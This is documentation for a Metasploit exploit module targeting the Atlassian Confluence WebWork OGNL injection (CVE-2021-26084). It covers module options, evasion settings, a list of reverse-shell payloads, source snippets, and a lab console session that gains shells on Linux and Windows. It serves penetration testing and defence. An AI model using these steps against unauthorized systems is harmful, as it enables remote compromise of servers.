Atlassian Confluence WebWork OGNL Injection - Metasploit
This page contains detailed information about how to use the exploit/multi/http/atlassian_confluence_webwork_ognl_injection metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Atlassian Confluence WebWork OGNL Injection
Module: exploit/multi/http/atlassian_confluence_webwork_ognl_injection
Source code: modules/exploits/multi/http/atlassian_confluence_webwork_ognl_injection.rb
Disclosure date: 2021-08-25
Last modification time: 2021-10-14 16:17:54 +0000
Supported architecture(s): cmd, x86, x64
Supported platform(s): Linux, Unix, Windows
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8090, 8443, 8880, 8888
List of CVEs: CVE-2021-26084
This module exploits an OGNL injection in Atlassian Confluence's WebWork component to execute commands as the Tomcat user.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Reliability:
- repeatable-session: The module is expected to get a shell every time it runs.
Stability:
- crash-safe: Module should not crash the service.
Side Effects:
- ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).
- artifacts-on-disk: Modules leaves a payload or a dropper on the target machine.
Basic Usage
msf > use exploit/multi/http/atlassian_confluence_webwork_ognl_injection
msf exploit(atlassian_confluence_webwork_ognl_injection) > exploit
Required Options
- RHOSTS: The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
Knowledge Base
Vulnerable Application
Setup
Run the following Docker command to test Confluence 7.12.4:
docker run -dp 8090:8090 atlassian/confluence:7.12.4
You will need to complete setup once the container has started.
Verification Steps
Scenarios
Confluence 7.12.4 in Docker
msf6 > use exploit/multi/http/atlassian_confluence_webwork_ognl_injection
[*] Using configured payload cmd/unix/reverse_perl
msf6 exploit(multi/http/atlassian_confluence_webwork_ognl_injection) > options
Module options (exploit/multi/http/atlassian_confluence_webwork_ognl_injection):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 8090 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI / yes Base path
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
Payload options (cmd/unix/reverse_perl):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Unix Command
msf6 exploit(multi/http/atlassian_confluence_webwork_ognl_injection) > set rhosts 127.0.0.1
rhosts => 127.0.0.1
msf6 exploit(multi/http/atlassian_confluence_webwork_ognl_injection) > set lhost 172.16.57.1
lhost => 172.16.57.1
msf6 exploit(multi/http/atlassian_confluence_webwork_ognl_injection) > run
[*] Started reverse TCP handler on 172.16.57.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. Successfully tested OGNL injection.
[*] Executing cmd/unix/reverse_perl (Unix Command)
[*] Command shell session 1 opened (172.16.57.1:4444 -> 172.16.57.1:62795 ) at 2021-10-14 16:31:23 -0500
whoami
confluence
^Z
Background session 1? [y/N] y
Confluence 7.12.4 on Windows Server 2016
msf6 exploit(multi/http/atlassian_confluence_webwork_ognl_injection) > set rhosts 172.16.57.9
rhosts => 172.16.57.9
msf6 exploit(multi/http/atlassian_confluence_webwork_ognl_injection) > set target 2
target => 2
msf6 exploit(multi/http/atlassian_confluence_webwork_ognl_injection) > run
[*] Started reverse SSL handler on 172.16.57.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. Successfully tested OGNL injection.
[*] Executing cmd/windows/powershell_reverse_tcp (Windows Command)
[*] Powershell session session 2 opened (172.16.57.1:4444 -> 172.16.57.9:61152 ) at 2021-10-14 16:31:59 -0500
PS C:\Program Files\Atlassian\Confluence> whoami
nt authority\network service
PS C:\Program Files\Atlassian\Confluence>
Go back to menu.
Msfconsole Usage
Here is how the multi/http/atlassian_confluence_webwork_ognl_injection exploit module looks in the msfconsole:
msf6 > use exploit/multi/http/atlassian_confluence_webwork_ognl_injection
[*] Using configured payload cmd/unix/reverse_perl
msf6 exploit(multi/http/atlassian_confluence_webwork_ognl_injection) > show info
Name: Atlassian Confluence WebWork OGNL Injection
Module: exploit/multi/http/atlassian_confluence_webwork_ognl_injection
Platform: Unix, Linux, Windows
Arch: cmd, x86, x64
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2021-08-25
Provided by:
Benny Jacob
Jang
wvu <[email protected]>
Module side effects:
ioc-in-logs
artifacts-on-disk
Module stability:
crash-safe
Module reliability:
repeatable-session
Available targets:
Id Name
-- ----
0 Unix Command
1 Linux Dropper
2 Windows Command
3 Windows Dropper
4 PowerShell Stager
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 8090 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI / yes Base path
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
Payload information:
Description:
This module exploits an OGNL injection in Atlassian Confluence's
WebWork component to execute commands as the Tomcat user.
References:
https://nvd.nist.gov/vuln/detail/CVE-2021-26084
https://confluence.atlassian.com/doc/confluence-security-advisory-2021-08-25-1077906215.html
https://jira.atlassian.com/browse/CONFSERVER-67940
https://attackerkb.com/topics/Eu74wdMbEL/cve-2021-26084-confluence-server-ognl-injection/rapid7-analysis
https://github.com/httpvoid/writeups/blob/main/Confluence-RCE.md
https://testbnull.medium.com/atlassian-confluence-pre-auth-rce-cve-2021-26084-v%C3%A0-c%C3%A2u-chuy%E1%BB%87n-v%E1%BB%81-%C4%91i%E1%BB%83m-m%C3%B9-khi-t%C3%ACm-bug-43ab36b6c455
https://tradahacking.vn/atlassian-confluence-cve-2021-26084-the-other-side-of-bug-bounty-45ed19c814f6
Module Options
This is a complete list of options available in the multi/http/atlassian_confluence_webwork_ognl_injection exploit:
msf6 exploit(multi/http/atlassian_confluence_webwork_ognl_injection) > show options
Module options (exploit/multi/http/atlassian_confluence_webwork_ognl_injection):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 8090 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI / yes Base path
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
Payload options (cmd/unix/reverse_perl):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Unix Command
Advanced Options
Here is a complete list of advanced options supported by the multi/http/atlassian_confluence_webwork_ognl_injection exploit:
msf6 exploit(multi/http/atlassian_confluence_webwork_ognl_injection) > show advanced
Module advanced options (exploit/multi/http/atlassian_confluence_webwork_ognl_injection):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoCheck true no Run check before exploit
CMDSTAGER::DECODER no The decoder stub to use.
CMDSTAGER::FLAVOR auto no The CMD Stager to use. (Accepted: auto, bourne, debug_asm, debug_write, echo, prin
tf, vbs, vbs_adodb, certutil, tftp, wget, curl, fetch, lwprequest, psh_invokewebre
quest)
CMDSTAGER::SSL false no Use SSL/TLS for supported stagers
CMDSTAGER::TEMP no Writable directory for staged files
ContextInformationFile no The information file that contains context information
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS server
s
DisablePayloadHandler false no Disable the handler code for the selected payload
EXE::Custom no Use custom exe instead of automatically generating a payload exe
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
EXE::FallBack false no Use the default template in case the specified one is missing
EXE::Inject false no Set to preserve the original EXE function
EXE::OldMethod false no Set to use the substitution EXE generation method.
EXE::Path no The directory in which to look for the executable template
EXE::Template no The executable template file name.
EnableContextEncoding false no Use transient context when encoding payloads
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
ForceExploit false no Override check result
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
ListenerComm no The specific communication channel to use for this service
MSI::Custom no Use custom msi instead of automatically generating a payload msi
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
MSI::Path no The directory in which to look for the msi template
MSI::Template no The msi template file name
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
Powershell::encode_final_payload false yes Encode final payload for -EncodedCommand
Powershell::encode_inner_payload false yes Encode inner payload for -EncodedCommand
Powershell::exec_in_place false yes Produce PSH without executable wrapper
Powershell::exec_rc4 false yes Encrypt PSH with RC4
Powershell::method reflection yes Payload delivery method (Accepted: net, reflection, old, msil)
Powershell::no_equals false yes Pad base64 until no "=" remains
Powershell::noninteractive true yes Execute powershell without interaction
Powershell::persist false yes Run the payload in a loop
Powershell::prepend_protections_bypass true yes Prepend AMSI/SBL bypass
Powershell::prepend_sleep no Prepend seconds of sleep
Powershell::remove_comspec false yes Produce script calling powershell directly
Powershell::strip_comments true yes Strip comments
Powershell::strip_whitespace false yes Strip whitespace
Powershell::sub_funcs false yes Substitute function names
Powershell::sub_vars true yes Substitute variable names
Powershell::wrap_double_quotes true yes Wraps the -Command argument in single quotes
SSLCipher no String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
SSLCompression false no Enable SSL/TLS-level compression
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate)
(Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
SendRobots false no Return a robots.txt file if asked for one
URIHOST no Host to use in URI (useful for tunnels)
URIPORT no Port to use in URI (useful for tunnels)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT no The User-Agent header to use for all requests
5.1)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (cmd/unix/reverse_perl):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoRunScript no A script to run automatically on session creation.
AutoVerifySession true yes Automatically verify and drop invalid sessions
CommandShellCleanupCommand no A command to run before the session is closed
CreateSession true no Create a new session for every successful login
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the multi/http/atlassian_confluence_webwork_ognl_injection module can exploit:
msf6 exploit(multi/http/atlassian_confluence_webwork_ognl_injection) > show targets
Exploit targets:
Id Name
-- ----
0 Unix Command
1 Linux Dropper
2 Windows Command
3 Windows Dropper
4 PowerShell Stager
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the multi/http/atlassian_confluence_webwork_ognl_injection exploit:
msf6 exploit(multi/http/atlassian_confluence_webwork_ognl_injection) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/cmd/unix/bind_awk normal No Unix Command Shell, Bind TCP (via AWK)
1 payload/cmd/unix/bind_busybox_telnetd normal No Unix Command Shell, Bind TCP (via BusyBox telnetd)
2 payload/cmd/unix/bind_jjs normal No Unix Command Shell, Bind TCP (via jjs)
3 payload/cmd/unix/bind_lua normal No Unix Command Shell, Bind TCP (via Lua)
4 payload/cmd/unix/bind_netcat normal No Unix Command Shell, Bind TCP (via netcat)
5 payload/cmd/unix/bind_netcat_gaping normal No Unix Command Shell, Bind TCP (via netcat -e)
6 payload/cmd/unix/bind_netcat_gaping_ipv6 normal No Unix Command Shell, Bind TCP (via netcat -e) IPv6
7 payload/cmd/unix/bind_nodejs normal No Unix Command Shell, Bind TCP (via nodejs)
8 payload/cmd/unix/bind_perl normal No Unix Command Shell, Bind TCP (via Perl)
9 payload/cmd/unix/bind_perl_ipv6 normal No Unix Command Shell, Bind TCP (via perl) IPv6
10 payload/cmd/unix/bind_r normal No Unix Command Shell, Bind TCP (via R)
11 payload/cmd/unix/bind_ruby normal No Unix Command Shell, Bind TCP (via Ruby)
12 payload/cmd/unix/bind_ruby_ipv6 normal No Unix Command Shell, Bind TCP (via Ruby) IPv6
13 payload/cmd/unix/bind_socat_udp normal No Unix Command Shell, Bind UDP (via socat)
14 payload/cmd/unix/bind_stub normal No Unix Command Shell, Bind TCP (stub)
15 payload/cmd/unix/bind_zsh normal No Unix Command Shell, Bind TCP (via Zsh)
16 payload/cmd/unix/generic normal No Unix Command, Generic Command Execution
17 payload/cmd/unix/pingback_bind normal No Unix Command Shell, Pingback Bind TCP (via netcat)
18 payload/cmd/unix/pingback_reverse normal No Unix Command Shell, Pingback Reverse TCP (via netcat)
19 payload/cmd/unix/reverse normal No Unix Command Shell, Double Reverse TCP (telnet)
20 payload/cmd/unix/reverse_awk normal No Unix Command Shell, Reverse TCP (via AWK)
21 payload/cmd/unix/reverse_bash normal No Unix Command Shell, Reverse TCP (/dev/tcp)
22 payload/cmd/unix/reverse_bash_telnet_ssl normal No Unix Command Shell, Reverse TCP SSL (telnet)
23 payload/cmd/unix/reverse_bash_udp normal No Unix Command Shell, Reverse UDP (/dev/udp)
24 payload/cmd/unix/reverse_jjs normal No Unix Command Shell, Reverse TCP (via jjs)
25 payload/cmd/unix/reverse_ksh normal No Unix Command Shell, Reverse TCP (via Ksh)
26 payload/cmd/unix/reverse_lua normal No Unix Command Shell, Reverse TCP (via Lua)
27 payload/cmd/unix/reverse_ncat_ssl normal No Unix Command Shell, Reverse TCP (via ncat)
28 payload/cmd/unix/reverse_netcat normal No Unix Command Shell, Reverse TCP (via netcat)
29 payload/cmd/unix/reverse_netcat_gaping normal No Unix Command Shell, Reverse TCP (via netcat -e)
30 payload/cmd/unix/reverse_nodejs normal No Unix Command Shell, Reverse TCP (via nodejs)
31 payload/cmd/unix/reverse_openssl normal No Unix Command Shell, Double Reverse TCP SSL (openssl)
32 payload/cmd/unix/reverse_perl normal No Unix Command Shell, Reverse TCP (via Perl)
33 payload/cmd/unix/reverse_perl_ssl normal No Unix Command Shell, Reverse TCP SSL (via perl)
34 payload/cmd/unix/reverse_php_ssl normal No Unix Command Shell, Reverse TCP SSL (via php)
35 payload/cmd/unix/reverse_python normal No Unix Command Shell, Reverse TCP (via Python)
36 payload/cmd/unix/reverse_python_ssl normal No Unix Command Shell, Reverse TCP SSL (via python)
37 payload/cmd/unix/reverse_r normal No Unix Command Shell, Reverse TCP (via R)
38 payload/cmd/unix/reverse_ruby normal No Unix Command Shell, Reverse TCP (via Ruby)
39 payload/cmd/unix/reverse_ruby_ssl normal No Unix Command Shell, Reverse TCP SSL (via Ruby)
40 payload/cmd/unix/reverse_socat_udp normal No Unix Command Shell, Reverse UDP (via socat)
41 payload/cmd/unix/reverse_ssh normal No Unix Command Shell, Reverse TCP SSH
42 payload/cmd/unix/reverse_ssl_double_telnet normal No Unix Command Shell, Double Reverse TCP SSL (telnet)
43 payload/cmd/unix/reverse_stub normal No Unix Command Shell, Reverse TCP (stub)
44 payload/cmd/unix/reverse_tclsh normal No Unix Command Shell, Reverse TCP (via Tclsh)
45 payload/cmd/unix/reverse_zsh normal No Unix Command Shell, Reverse TCP (via Zsh)
46 payload/generic/custom normal No Custom Payload
47 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
48 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
Evasion Options
Here is the full list of possible evasion options supported by the multi/http/atlassian_confluence_webwork_ognl_injection exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(multi/http/atlassian_confluence_webwork_ognl_injection) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::chunked false no Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
HTTP::compression none no Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::junk_headers false no Enable insertion of random junk HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::no_cache false no Disallow the browser to cache HTTP content
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::server_name Apache yes Configures the Server header of all outgoing replies
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
TCP::max_send_size 0 no Maximum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Failed to test OGNL injection.
Here is a relevant code snippet related to the "Failed to test OGNL injection." error message:
126: res = inject_ognl("#{token1}'+'#{token2}'+'#{token3}")
127:
128: return CheckCode::Unknown unless res
129:
130: unless res.code == 200 && res.body.include?("#{token1}#{token2}#{token3}")
131: return CheckCode::Safe('Failed to test OGNL injection.')
132: end
133:
134: CheckCode::Vulnerable('Successfully tested OGNL injection.')
135: end
136:
Successfully tested OGNL injection.
Here is a relevant code snippet related to the "Successfully tested OGNL injection." error message:
129:
130: unless res.code == 200 && res.body.include?("#{token1}#{token2}#{token3}")
131: return CheckCode::Safe('Failed to test OGNL injection.')
132: end
133:
134: CheckCode::Vulnerable('Successfully tested OGNL injection.')
135: end
136:
137: def exploit
138: print_status("Executing #{payload_instance.refname} (#{target.name})")
139:
Failed to execute command: <CMD>
Here is a relevant code snippet related to the "Failed to execute command: <CMD>" error message:
149:
150: def execute_command(cmd, _opts = {})
151: res = inject_ognl(ognl_payload(cmd))
152:
153: unless res&.code == 200 && res.body.match?(/queryString.*Process.*pid.*exitValue/)
154: fail_with(Failure::PayloadFailed, "Failed to execute command: #{cmd}")
155: end
156:
157: vprint_good("Successfully executed command: #{cmd}")
158: end
159:
Go back to menu.
Related Pull Requests
- #15790 Merged Pull Request: Added CVE-2021-42840 to suitecrm_log_file_rce.rb module.
- #15756 Merged Pull Request: Add PoC for CVE-2021-31806 Squid DoS Attack
- #15754 Merged Pull Request: add. Apache 2.4.49 CVE-2021-41773 and Apache 2.4.50 CVE-2021-42013 - SCANNER/TRAVERSAL/RCE
- #15773 Merged Pull Request: Add kubernetes testing resources
- #15786 Merged Pull Request: Add kubernetes enum module
- #15785 Merged Pull Request: Add command name to Meterpreter packet inspect
- #15733 Merged Pull Request: Add Module For Kubernetes Pod Authenticated Code Execution
References
- CVE-2021-26084
- https://confluence.atlassian.com/doc/confluence-security-advisory-2021-08-25-1077906215.html
- https://jira.atlassian.com/browse/CONFSERVER-67940
- https://attackerkb.com/topics/Eu74wdMbEL/cve-2021-26084-confluence-server-ognl-injection/rapid7-analysis
- https://github.com/httpvoid/writeups/blob/main/Confluence-RCE.md
- https://testbnull.medium.com/atlassian-confluence-pre-auth-rce-cve-2021-26084-v%C3%A0-c%C3%A2u-chuy%E1%BB%87n-v%E1%BB%81-%C4%91i%E1%BB%83m-m%C3%B9-khi-t%C3%ACm-bug-43ab36b6c455
- https://tradahacking.vn/atlassian-confluence-cve-2021-26084-the-other-side-of-bug-bounty-45ed19c814f6
See Also
Check also the following modules related to this module:
- exploit/linux/http/atlassian_confluence_webwork_ognl_injection
- exploit/multi/http/atlassian_confluence_namespace_ognl_injection
- exploit/multi/http/atlassian_crowd_pdkinstall_plugin_upload_rce
- auxiliary/scanner/http/atlassian_crowd_fileaccess
- exploit/multi/http/confluence_widget_connector
- exploit/multi/http/apache_roller_ognl_injection
- exploit/multi/http/struts2_content_type_ognl
- exploit/multi/http/struts2_multi_eval_ognl
- exploit/multi/http/struts2_namespace_ognl
- exploit/multi/http/bassmaster_js_injection
- exploit/multi/http/cmsms_object_injection_rce
- exploit/multi/http/gitlist_arg_injection
- exploit/multi/http/log4shell_header_injection
- exploit/multi/http/php_cgi_arg_injection
- exploit/multi/http/phpmailer_arg_injection
- exploit/multi/http/playsms_template_injection
- exploit/multi/http/spring_cloud_function_spel_injection
- exploit/multi/browser/firefox_tostring_console_injection
- exploit/multi/browser/firefox_webidl_injection
- exploit/multi/fileformat/evince_cbt_cmd_injection
- exploit/multi/fileformat/js_unpacker_eval_injection
- exploit/multi/fileformat/peazip_command_injection
Related Nessus plugins:
- Atlassian Confluence < 6.13.23 / 6.14 < 7.4.11 / 7.5 < 7.11.6 / 7.12 < 7.12.5 Webwork OGNL Injection (CONFSERVER-67940)
- Atlassian Confluence Server Webwork OGNL Injection (CVE-2021-26084)
Authors
- Benny Jacob
- Jang
- wvu
Version
This page has been produced using Metasploit Framework version 6.2.4-dev. For more modules, visit the Metasploit Module Library.
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